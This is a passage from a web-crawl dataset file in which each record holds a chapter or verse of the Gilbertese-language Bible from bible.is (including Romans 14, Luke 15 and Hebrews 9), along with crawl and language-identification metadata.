konai, bwa a aonga ni kamaiuaki temwaangina mai buakoia irou. 23 I bane ni karaoi baikai ibukin te euangkerio, bwa e aonga n reke irouu tibwangau mani kabwaia ake iai. 24 Kam aki ataia bwa mai buakoia aomata ni kabaneia ake a ira te kaboo biri mwaaka n te tabo ni biri, ao bon ti temanna ae e na reke irouna te kaniwanga? Kam na biri bwa e aonga n reke iroumi. 25 Aomata ni kabaneia aika a na ira te kaboo n te takaakaro a rangi n tabutabui aroia nakoni bwaai nako. A karaoa aei bwa e aonga n reke irouia te bau ae e kai mka, ma ngaira te bau ae e aki konaa ni mka. 26 Ma ngaia ae I aki biri n aki akaka, ao I aki itau n ai aron temanna ae e orea te akea; 27 ma I kataneiaia rabwatau n te aro bwa e aonga ni matoatoa, ao I taua taekan arou bwa kaanga te toro, bwa e kaawa n aki reke arou i mwiin tataekinan te euangkerio nakoia temwaangina.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/9","date":"2013-05-23T02:46:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368702749808\/warc\/CC-MAIN-20130516111229-00078-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":927,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.436,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Kam na mwanea n aakoa te aomata ae e mamaara n ana onimaki, ma tai kauntaeka ma ngaia ibukin tein aron ana iango. 2 E taku temanna n ana koaua bwa e riai irouna te kang amwarake ni kabane; ao temanna ae e mamaara n ana onimaki e taku bwa e riai irouna te kang amwarake man aroka nako. 3 Te aomata are e kang amwarake nako e na aki kaakeaa boongan te aomata are iai baika e aki konaa ni kang; ao te aomata are e kang ti amwarake man aroka nako ke e tai kabuaakakaa te aomata are e kang amwarake nako, ibukina bwa e butimwaaeaki arona anne iroun te Atua. 4 Antai ngkoe bwa ko na baairea taekan ana toro temanna ni kabuaakaka? Bon ana toka ae e na baairea taekana bwa e nako raoi ana mwakuri ke e aki. Ma ane e na nako raoi ana mwakuri te toro, bwa E konaa te Atua ni buokia bwa e aonga n nako raoi ana mwakuri. 5 E taku temanna bwa e kakannato riki te bong teuana nakoni boong ni kabane, ao temanna e taku bwa ti te bo aroni boong nako. Ke a kareke nanoia aomata nako aika a na aki katiotioaki aia iango iai. 6 Ane e kaawakina te bong teuana bwa e kakannato irouna, ao e kaawakinna ibukin te Uea; ao ane e kang amwarake nako, ao e kang ibukin te Uea, bwa e katituaraoa te Atua; ao ane e aki kang amwarake tabeua, ao e karaoia ibukin te Uea. 7 Bwa akea i buakora ae e maiu bon ibukina, ao akea naba ae e mate bon ibukina. 8 Bwa ngkana ti maiu, ao ti maiu ibukin te Uea; ao ngkana ti mate, ao ti mate naba ibukin te Uea. Ma ngaia ae ngkana ti maiu ke ti mate ao ana bwai naba te Uea ngaira. 9 Bwa E mate Kristo ao E a manga maiu ibukin aei: bwa E aonga n riki bwa aia Uea ake a mate ma ake a maiu. 10 Ao ngkoe, ko aera ngkai ko motika taekan tarim? Ao manga ngkoe, ko aera ngkai ko kaakeaa boongan tarim? Bwa ane ti na bane n tei i matan te Atua bwa a na motikaki taekara irouna. 11 Bwa e koreaki ae e kaangai: E taku te Uea, Ngkai I maiu, ao ane a na bane bubuaniwae ni katorobubua nakoiu, Ao a na bane neewe n neboa te Atua. 12 Ma ngaia ae ti na bane ni kaoti arora n tatabemanira nako nakon te Atua. 13 Ma ngaia ae ti na katoka arora ae te i-kabuaakaka, ao ti na karekea ara baaire bwa a na akea ae e na kaaki te bwai ni katatatata ke ni kabwakabwaka i matan tarina. 14 Ngkai I reitaki ma te Uea are Iesu n au onimaki, ao I bon ataia raoi bwa akea te bwai ae e kamwaraa n arona are e karikaki iai; ma ane e taku bwa e kamwaraa te bwai teuana, ao e boni kamwaraa ibukina. 15 Bwa ngkana e rawaawata nanon tarim ibukini kanam, ao ko aki nakonako n te aro n tangira. Tai urua maiun temanna are E mate Kristo ibukina, n te amwarake are ko kanna. 16 Ma ngaia ae kam na tarataraia bwa e na aki atongaki bwa e buaakaka te bae e raoiroi iroumi. 17 Bwa tiaki uean te Atua te amwaamwarake ma te momooi, ma bon te katei ni maiu are karaoan nanon te Atua, ma te rau, ma te kimwaareirei ake ti anganaki iroun te Taamnei. 18 Bwa ane e toro irouni Kristo ni baikai ao E kukurei te Atua irouna, ao e kakoauaaki irouia aomata bwa e raoiroi arona. 19 Ma ngaia ae ti na uaiakin rekeni bwaai aika a na karekea te rau, ao baika a na buoka kateimatoaan temanna ma temanna n ana onimaki. 20 Tai urua ana mwakuri te Atua ibukini kanam. Akea te amwarake ae e kamwaraa, ma e bure kanakin te amwarake are e na riki bwa te bwai ni kabwakabwaka nakon temanna. 21 E raoiroi te aki kang iriko ma te aki mooi wain, ma aki karaoan te bwai teuana are e na riki bwa te bwai ni kabwakabwaka nakon tarim. 22 Am onimaki ane iroum ae e kaeti ma baikai, bon am bwai i marenam ma te Atua. E a kabwaia te aomata are e namakinna bwa e aki kabuaakakaaki n are e karaoia ngkana e koaua iai bwa e aki bure. 23 Ma ane e nanokokoraki ngkana e amwarake, ao e kabuaakakaaki iai ibukina bwa e aki karaoia ma te nano n onimaki; bwa te bae e karaoaki ma te aki-onimaki bon te bure.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/14","date":"2013-05-24T05:23:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704218408\/warc\/CC-MAIN-20130516113658-00025-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":755,"character_repetition_ratio":0.064,"word_repetition_ratio":0.003,"special_characters_ratio":0.238,"stopwords_ratio":0.472,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ko na tai boaa ane e a unimwaane, ma ko na anganna am taeka ni buokia bwa kaanga tamam. Ko na reitaki ma rorobuaka bwa kaanga tarim, 2 ao unaine bwa kaanga tinam; ao ko na reitaki n te aro ae e itiaki ma ateiaine bwa kaanga mwaanem. 3 Ko na karineia n akoiia aine aika a boni kananoanga ni koaua ngkai a mate buia. 4 Ma ngkana iai natin ke tibun te aine ae e kananoanga ae e mate buuna, ao a na reireiaki moa aroia ni karaoi tabeia aika a aanaki n ana kaantaninga te Atua nakoia oin aia utu, ma ni kabooa aakoakiia irouia aia karo ma tibuia: bwa e riai aei i matan te Atua. 5 Ao te aine ae e kananoanga ni koaua, ngkae e mate buuna ao e tiku n ti ngaia, e mwiokoa te Atua ni maiuna, ao e botumwaaka n taatataro ni buubuti n te bong ao n te ngaina. 6 Ma te aine ae ti te kani kakukukureia rabwatana, e boni ngae ngke e maiu, ma e mate. 7 Ko na tuangiia baikai, bwa a aonga n aki kabuaakakaaki. 8 Ma ngkana e aki karekei baika a riai te aomata i bukiia ana koraki, ao ai moa ra riki ibukin oin ana utu, ao kaotana bwa e a kaaki taekan te onimaki, ao e a buaakaka riki nakon are tiaki te tia onimaki. 9 E na koreaki aran te aine ae e mate buuna i buakon araia aine aika a mate buia ngkana e a koro onongaun ana ririki, ao te aine ngaia ae ti teuana ana tai ni mareaki; 10 ao e kakoauaaki bwa te aine ngaia ae e kaakaraoi mwakuri aika a raraoi, n arona ni kaikawaiia natina, n akoiia iruwa, n teboki waeia raona ni Kristian, ni buokiia aika a rawaawata, ao n arona ni botumwaaka ni karaoi mwakuri aika a raraoi ni kabane. 11 Ma ko na tai korei araia ateiaine aika a mate buia i buakon araia aine aika a mate buia; bwa n te tai are e roko iai nanoia ae e korakora ni kan iein, ao ane a na rairaki nako mai irouni Kristo; 12 ao a reke kabuaakakaaia iai, ibukina ngkai a urua aia taeka ni bau nakoni Kristo. 13 I rarikin anne, ao a reireiia naba te aro ni kabane tai n aroia ni kawara te auti teuana ma teuana; ao a aki ti kabane tai n aroia anne, ma a bon riki naba bwa taan ua-taeka, ao taani katabetabea te aba, n aroia n tataekini baika a aki riai n taekin. 14 Ma ngaia ae I tangiriia riki ateiaine aika a mate buia bwa a na iein, a na karikiia natiia, a na tararuaia aia utu, ao a na aki karekea te anga are e na kabuaakakaira iai te kairiribai; 15 bwa a a tia tabemwaang i buakoia ateiaine aika a mate buia n rairaki nako n ira Tatan. 16 Ma ngkana iai aine aika a mate buia i buakoia ana utu te aine ae te Kristian, ao e riai neienne ni buokiia. E na aki karawaawata te ekaretia, bwa e aonga n tabeakiniia aine aika a kananoanga ni koaua ngkai a mate buia. 17 A riai unimwaane aika a raoiroi aia kairiiri n iangoaki bwa e riai ni kataboroakiooia, ai moa ra riki nakoia te koraki aika a korakora aia mwakuri ni kabwarabwara ma n reirei; 18 bwa e kaangai te Baibara: Ko na tai kabaea wiin te kao ngkana e tabe n toutoua te uiita ni kaaki kunna, ao, E riai bwa e na anganaki te tia mwakuri boon ana mwakuri. 19 Ko na tai butimwaaea taekani bukinan te unimwaane, ma ti ngkana iai uoman ke teniman taani kakoaua bukinana. 20 Ko na boaiia akana a bure i mataia aomata ni kabaneia, bwa a aonga ni maaku naba raoia. 21 I tuangko i matan te Atua, ma Kristo Iesu, ma ana anera te Atua, bwa ko na tou mwiini baikai ma te nano ae e eti ae e aki nanonano. 22 Ko na tai kuukuri ni katokaa baim i aon temanna ni katabua nakon nakoana ibukin te Uea. Ko na tai buokanibwai n aia bure tabemwaang; ko na bwaina te maiu ae e itiaki. 23 Ko na tai mooi n te ran n ti ngaia, ma ko na mooi n te wain teutana ibukini birotom ma aorakim aika a ituutuuko. 24 Akea te kaangaanga n aia bure tabemwaang bwa a teretere aroia, ao a ri moaia nakon te motiki-taeka; ma aia bure temwaangina a tibwa kaoti rimwi. 25 Ao ai arona naba, bwa akea te kaangaanga ni mwakuri aika a raraoi bwa a teretere aroia, ao ake a aki bati n teretere a aki konaa n raba.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/1Tim\/5","date":"2013-05-20T08:30:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698646863\/warc\/CC-MAIN-20130516100406-00080-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":764,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.457,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 11:2727Ngke E tia n atongi taeka akekei Iesu, ao e kanenea bwanaana te aine temanna i buakon te koraki arei, ao e taku nakoina, E a kabwaia te biroto are e bungiko ao mamma ake Ko mammai. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11\/27","date":"2013-12-12T05:29:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164540183\/warc\/CC-MAIN-20131204134220-00079-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999587536,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999587535858154}","num_words":53,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.283,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 21:66Ni kaeti ma bwaai aika kam noori aikai, ane a na roko boong are e na aki nooraki n tiku ikai te atiibu teuana i aon teuana. A na bane ni kabwakaaki i aontano. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/21\/6","date":"2013-12-10T02:51:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164005827\/warc\/CC-MAIN-20131204133325-00079-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9998683929,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9998683929443359}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.32,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I mwiin nimabong, ao e wairio aia mataniwi ibonga are Anania ma unimwaane tabemwaang ma te aomata temanna ae e rangi n rabakau ni kakarabakau ae arana Tereturo. A kaota bukinani Bwauro nakon te tia tau-taeka. 2Ngke e weteaki Tereturo, ao e tabeki ana taeka ni bukibuki ni kaangai, Berika, ae ko moani kakannato, ngkai ti namakina te rau ae e bati i aan am kairiri, ao ngkai a bati naba taiani bitaki aika a raraoi ibukin te bootanaomata aei ibukin am iango raoi, 3ao ti butimwaai bwaai ni kabane n taabo nako ma te kaaitau ae moan te bati. 4Ma I aki kani kabanea am tai, ma ngaia are I butiiko bwa ko na taotaona nanom n ongoraa teutana iroura. 5Bwa ti kunea te aomata aei bwa e iowawa: e karika te kiriwe i buakoia I-Iutaia ni kabaneia i aon aaba nako, ao ngaia mataniwiin te bootaki ae a atongaki kaaina bwa Natarene; 6ao e kataia naba ni kani kamwaraaea te umwantabu; ao ti tauua. 8Ngkana ko bon nenera arona, ao ko konaa iai n atai baika tibukinna iai. 9A buoka naba are e taekinna Tereturo I-Iutaia, ni kakoauai baike e taekin. 10Ngke e kaota ana kanikina te tia tau-taeka nakoni Bwauro bwa e na taetae, ao e taku Bwauro, N ataakina irou bwa ko a tia n riki bwa te tia motiki-taeka n te bootanaomata aei i nanon ririki aika a bati, ao I kukurei n tei bon i bukiu ni kaaitarai baika a taekinaki i bukiu. 11N aron ae ko boni konaa n ataia raoi, ao bon ti tengauni ma uabong n nako ngke I nako Ierutarem n taromauri iai; 12ao a aki noorai I-Iutaia ni kauntaeka ma temanna ke ni kakiriweeia aomata, i nanon te umwantabu ke ni mwaneabaia nako I-Iutaia, ke i nanon te kaawa teuana; 13ao a aki konaa ni kakoauainakoim baikana a bukinai iai. 14Ma I kaota aeinakoim, bwa I tataromauriia Atuaia ara bakatiibu n aron ara onimaki n te Aro, are a atongnga bwa te Aro teuana; ao I iriiri nanoni bwaai ni kabane ake a taekinaki n te Tua, ao ake a koreaki n aia boki buraabeti; 15ao iai ae I kaantaningaia mai iroun te Atua, ae a kaantaningaia naba: bwa iai te manga-maiu irouia aomata aika a raoiroi ma aika a buaakaka aika a tia ni mate. 16Ao ngaia aei ae I kakorakoraai iai bwa N na aki toki ni bwaina te nano ae e itiaki i matan te Atua ao i mataia aomata. 17Ma i mwiin tabeua te ririki, ao I roko i Ierutarem n nikiri bwaai n tituaraoi nakoia au bootanaomata, ao I anga karea. 18Ngke I karaoa aei ao a noorai n te umwantabu, i mwiin tian te mwakuri ni kaitiakinakoiu. Akea aomata i rarikiu, ao akea naba te kiriwe; ma iai I-Iutaia tabemwaang mai Atia aika a mena ikekei; 19ngaiia aika a riai n roko n tei i matam n anganiko aia taeka ni bukibuki, ngkana iai i bukiu. 20Ma ngkai a aki mena ikai, ao ke a taetae te koraki aei bwa tera au bure are a kunea ngke I tei i mataia kaain te Tanirim— 21ma ti aei au taeka are I takaaruaia ngke I tei i buakoia, E baaireaki taekau i matami n te bong aei ibukin taekani manga-maiuia maate. 22Ao Berika, are e ataa raoi taekan te Aro, e taona te kaboowi, ao e taku, Ngkana e roko Rutia are aia mataniwi tautia, ao I a motika taekam. 23E tuanga ngkanne aia mataniwi te taanga n tautia are tebubua kaaina bwa e na kaawakina Bwauro n teiakinna, ma e na anganna inaomatana teutana; ao e na aki tukiia raraona ngkana a kan roko ni buokia. 24I mwiin tabe bong ao e roko Berika ma buuna are Nei Rutira ae te I-Iutaia. E kaoa Bwauro Berika, ao e ongoraa irouna n taekan onimakinani Kristo Iesu. 25Ao ngke e kakarabakauakina taekan te raoiroi ma te taubaang ma te motiki-taeka are e na roko, ao e taonaki n te maaku ae e bati Berika, ao e taku, Ko na nako moa ngkai; ao ngkana e reke au tai, ao N na manga weteiko. 26N te tai naba arei ao e kaantaningaia Berika bwa e na anganaki te mwane irouni Bwauro; ma ngaia are e aki toki ni kaakaoa Bwauro n tataetaenikawai ma ngaia. 27Ngke a bane uoua te ririki ao e oneaki mwiini Berika irouni Borekio Beteto. E kani karekea taekana ae e raoiroi Berika irouia I-Iutaia, ma ngaia are e katuka Bwauro i nanon te karabuuti.\nMWAKURI 24","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/24","date":"2013-12-11T22:27:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164061354\/warc\/CC-MAIN-20131204133421-00081-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":753,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.442,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Bon iai tuua n te moani booraraoi ibukin te taromauri, ao te tabo naba n taromauri ae e bwain aon te aba. 2Bwa e kateaki te umwanrianna, ae iai i nanona te moa n ru ae e aranaki bwa te tabo ae e tabu, are e mena i nanona nnen te taura n tei ao te taibora ma kariki aika a katabuaki ibukin te Atua. 3Ao i akuun te roki are te kauoua bon te ru ae e aranaki bwa te tabo ae moanibaan te tabu; 4are kanoana te baonikarea ae te koora ibukini kabuokani karea aika a boiarara, ma atin te berita are e kanimwaki te koora iai ni kabutaa, are e mena i nanona te bwaati ae te koora are kanoana te manna, ma te kai are okon Aaron are a bwebwe baanikai maiai, ma baban te booraraoi ake atiibu. 5Ao a mena i aon te ati ni booraraoi kerubim aika a mimitong, ma baiia ni kiba aika a taangaki nako n rabuna aon te nne ni kabwaraa buure. Ma tiaki taiia ngkai ni kabaneaki raoi aroia ni kabwarabwaraaki. 6Ma aei aroni baikekei ni baireaki. A rin ibonga i nanon te moa n ru n te umwanrianna ni karaoi aia mwakuri ni katoa bong; 7ma ti te ibonga ae e kakannato ae e rin nako n te tabo are moanibaan te tabu; ao ti teuana ana tai ni karaoa aei n teuana te ririki, ao uotana ni katoa tai te raraa ae e na anga bon ibukina, ao ibukin naba aia bure aomata. 8Ao te Taamnei are e Raoiroi E kaota man aroni baikai ni baaireaki bwa e tuai n uki te kawai nako nanon te tabo are moanibaan te tabu, ngkae e bon teimatoa n tei te ru are te moa n ru. 9Ao te ru aei bon te bwai ni kabootau ibukin taai aikai. Ao bwaintituaraoi ma karea aika a anga aomata ngkai, a aki konaa ni kakororaoa karaoiroani mataniwiin nanon te tia taromauri, 10ngkai baikai, a tabe ma taekan ti taian amwarake ma ninima ma taian teboka nako, aika tuua ibukin te rabwata aika a na karaoaki ni karokoa te bong are a na oneaki iai nakon aika a raraoi riki. 11Ma E a tia n roko Kristo bwa te Ibonga ae e Kakannato ibukini baika a raraoi aika a kamani mena ikai, ao E nako n ri nuukan te umwanrianna ae e kakannato riki ma n raoiroi riki, ae e aki karaoaki ni bain te aomata, ao tiaki bwain aon te aba; 12ao E rin n te tabo are moanibaan te tabu ti teuana te tai ao akea riki, ao E aki uoti raraaia kooti ma buniia kaao, ma E uota oin raraana ao E karekea kamaiuara ae e aki tootoki. 13Bwa ngkana a kaitiakaki aomata mani kamwaraaia n raraaia kooti ma kao-mwaane ma mannangin te kao-aine te tei, aika a katimwaki i aoia; 14ao ai bati ra riki kaitiakani mataniwiin nanora mani mwakuri aika akea uaaia n raraani Kristo are e anga Ngaia iroun te Taamnei are e maiu n aki tootoki bwa te karea ae akea buaakakana nakon te Atua, bwa kam aonga n toro iroun te Atua ae maiu! 15I bukin aei ngkanne, ao Kristo boni Ngaia ae e buoka reken te booraraoi ae e boou, are a konaa iai te koraki ake a weteaki iroun te Atua ni kabwaibwaiaki n te kabwaia ae akea tokina, are E a tia te Atua n taekinna n ana taeka n akoi. E konaa ni karaoaki aei ibukina bwa iai te mate are e kainaomataia aomata man taiani bure ake a karaoi ngke bon iai te moani booraraoi. 16Bwa ike e mena iai te kaburebwai, ao e bon riai ni kakoauaaki bwa te aomata are e karaoa te kaburebwai e a bon tia ni mate; 17bwa akea nanon te kaburebwai ngkana e maiu te aomata are e karaoia; e a tibwa boongana ngkana e a tia ni mate are e karaoia. 18Ma ngaia ae e a tibwa boongana te moani booraraoi ngke e kaboonganaaki te raraa. 19Ngke e a tia Mote n tuangiia aomata ni kabaneia bwaai ni kabane ake a taekinaki n te Tua, ao e anaa te burae ae e uraroo ae buraen te tiibu ma te kaibwaabwaa ae te utobwa ao e kamanenaai ni katimtimwa iai raraaia bun ni kaao ma kooti, ma te ran i aoia aomata ni kabaneia ma te niira-ni-boki; 20ao e taku, Te raraa aei boni kamatoaan te booraraoi ae E a tia te Atua n tua bwa e na karaoaki ma ngkami. 21Ao e katimtimwa naba te raraa Mote n te aro naba arei i aon te umwa ao i aoni bwaai nako ake bwain te taromauri. 22Ao n aron taekan te Tua, a kuri ni bane bwaai ni kaitiakaki n te raraa; ao ngkana akea katuutuuan te raraa, ao akea naba kabwaraani buure. 23Ma ngaia ae e riai bwa a na kaitiakaki baike katootoon oi ni bwai ake i karawa n te aro anne. Ma bwaini karawa a tangiri aaro n angakarea aika a raraoi riki nakon aikai. 24Bwa Kristo E aki rin nako nanon te tabo are e tabu, are e karaoaki ni bain te aomata, ao are katootoongan te oi ni bwai ni koaua; ma E bon rin i karawa, bwa E aonga ni kaoti i matan te Atua i bukira. 25Ao E aki rin iai bwa E na okioki n angaanga Ngaia bwa te karea, n ai aron te ibonga ae e kakannato are e rin n te tabo are moanibaan te tabu n te ririki ae koraki ma uotana ae te raraa ae tiaki raraana. 26Bwa ngke aroni Kristo anne, ao e na bon okioki marakina ni moa mani karikan aonnaba. Ma ngkai, ngkai e nangi roko tokin te tai ao E a ti kaoti ti te teuana te tai ao akea riki, ibukina bwa E na kamauna te bure n arona n anga Ngaia bwa te karea. 27Ao ngkai e katauaki nakoia aomata bwa ti teuana mateia ao i mwiina motikan taekaia; 28ao ai aron naba Kristo: bwa ti teuana te tai are E riki iai bwa te karea Ngaia ni kamaunai aia bure aomata aika a bati. E na kaoti te kaua tai nakoia ake a kaantaningaia ibukini kamaiuaia, ma E na aki katabea n te bure.\nEBERA 9","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/9","date":"2013-12-05T19:11:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163047212\/warc\/CC-MAIN-20131204131727-00088-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1049,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.479,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1A nako taan anai taekiti ma aomata aika buaakaka ni kaania Iesu bwa a na ongoraa irouna. 2A ngurengure Bwaritaio ma taani koroboki, ao a kaangai, Te Aomata aei, E butimwaaia aomata aika buaakaka ao E amwarake ma ngaiia. 3E kaekaia Iesu ngkanne n te taeka ni kabootau aei: 4Antai i buakomi, ae tebubua ana tiibu, ngkana e bua temanna mai buakoia, ao e na aki kiitaniia ake ruangaun ma ruaman n te rereua n ukoukora are e bua, ni karokoa rekena? 5Ao ngkana e reke, ao e uotia i aon angana, ni kimwaareirei. 6Ao ngkana e roko ni mwengana, ao e bootiia raona ma ake a maeka i rarikina, ao e kaangai nakoia, Kam na kimwaareirei ma ngai bwa I a tia ni kunea au tiibu are e bua. 7I taku nakoimi bwa e na riki naba ae ai aron aei i karawa, ma e na mwaiti riki iai te kimwarerei ibukin te aomata ae buaakaka ae ti temanna ae e raira nanona, nakon te kimwaareirei i bukiia aomata aika raoiroi aika ruangaun ma ruaman aika akea bureia aika riai n rairi nanoia iai. 8Ke, antai te aine ae iai irouna ana mwane ae tebwina te tirewa ngkana e bua teuana ao e na aki kauraa te taura ma n taea nanon te auti, ni kabanea ana tai ni kakaaea ni karokoa rekena? 9Ao ngkana e reke irouna, ao e bootiia raona ma ake a maeka i rarikina, ao e kaangai, Kam na kimwareriei ma ngai, bwa I a tia ni kunea te mwane are e bua irou. 10I taku nakoimi bwa ai arona naba bwa e na iai te kimwaareirei irouia ana anera te Atua ibukin te aomata ae e buaakaka ae ti temanna ae e ira nanona. 11Ao E a manga taku riki Iesu: Iai te aomata temanna ae uoman natina mwaane; 12e taku teuare e te karimwi nakon tamana, Tamau, ko na anganai tibwau are e na reke irou man am bwai. Ma ngaia are e a tibwai ana bwai nakoia natina. 13I mwiini boong tabeua, ao e kabane tibwana teuare e te karimwi n rairi nakon te mwane, ao e kiitana mwengana n nako n te aba ae e raroa, ao e kabanei iai n te aro ni maiu ni bakatae. 14Ngke a bane ana bwai, ao e roko te rongo ae e korakora n te aba arei, ao e a rootaki n te kainnano. 15Ma ngaia are a nako ni kakaaea ana mwakuri iroun temanna ae kaain te aba arei, ao teuarei, e kanakoa bwa e na tararuaia beeki ngkana a amwarake. 16Iai nanona ni kani kana kanaia beeki ake a kang, ma akea ae e anganaki maiai. 17Ma ngke e a manga reke nanona ae e wanawana, ao e taku, Ai mwaiti ra ana toro tamau ake a kabooaki aia mwakuri aika kau amwarake ao ngai I a mate ni baki ikai! 18N na tei rake, ao N na nako n tamau, ao N na kaangai nakoina, I a tia ni bure nakon Teuare i karawa ao nakoim; 19I aki tau bwa N na atongaki bwa natim; ko na warekai bwa temanna i buakoia am toro ake a kabooaki aia mwakuri. 20Ao e tei rake, ao e nako n tamana. Ao ngke e mena i kiiraroa, ao e nooria tamana, ao e nanoangaia, ao e biri, ao e rabwatia, n inga nakoina. 21E taku te nati nakoina, Tamau, I a tia ni bure nakon Teuare i karawa ao nakoim; I aki tau bwa N na atongaki bwa natim. 22Ma e taku te tama nakoia ana toro, Kam na kawaetataingkami n uota mai te kunnikai are moan te tamaaroa, ao karinna i aona; ao kam na karina te burenibai i taboni baina, ao karini kauniwae i waena; 23ao uota mai te kao te teei ae e kamarikaaki, ao tiringnga, ao ti na amwarake ni kimwaareirei: 24bwa e mate natiu aei, ao e a manga maiu; e bua, ao e a manga reke. Ao a bootaki ni kimwaareirei. 25Ao natina are te karimoa, e mena i abaia i marenaua bwa e mwakuri; ao ngke e oki, ngke e kaan ma te auti, ao e ongo tangin te katangitang ma karongoaaan te takaakaro. 26Ao e wetea te toro temanna, ao e titirakinna bwa baika ra baikekei. 27Ao ngaia e taku nakoina, E a roko tarim, ao e tua tamam bwa e na tiringaki te kao te teei ae e kamarikaaki ibukin ae e roko irouna ma te maiu ao te marurung. 28Ao ngaia, e un ao e rawa n rin; ao e oti nako tamana ni butiia bwa e na rin. 29Ma e kaekaa tamana ni kaangai, Noria, I mwamwakuri iroum bwa kaanga te toro ngai i nanon ririki aika bati ni karokoa ngkai, ao I tuai ma n ri aon am tua; ao ko tuai n anganai te kao te teei, bwa N amwarake ni kimwaareirei ma raou nako. 30Ma ngkae e a roko natim anne, ane e bakataei am bwai irouia kabekaau ao ko tiringa te kao te teei ae e kamarikaaki ibukina. 31Ao e kaangai tamana nakoina, Natiu, Ko meemena irou n taai nako ao au bwai ni kabane bon am bwai. 32E riai bwa ti na kimwaareirei ao ti na kukurei, bwa e mate tarim aei, ao e a manga maiu; e bua ao e a manga reke.\nRUKA 15","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/15","date":"2013-12-09T04:52:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163890759\/warc\/CC-MAIN-20131204133130-00057-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":887,"character_repetition_ratio":0.054,"word_repetition_ratio":0.043,"special_characters_ratio":0.245,"stopwords_ratio":0.477,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 21:2323A kaawa ake a bikoukou, ao ake a kammammaia natiia ni boong akekei! Bwa ane e na bati te kananoanga i aon te aba, ao te un i aoia kaain te aba aei; Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/21\/23","date":"2013-12-10T15:40:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164021066\/warc\/CC-MAIN-20131204133341-00096-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9998367429,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 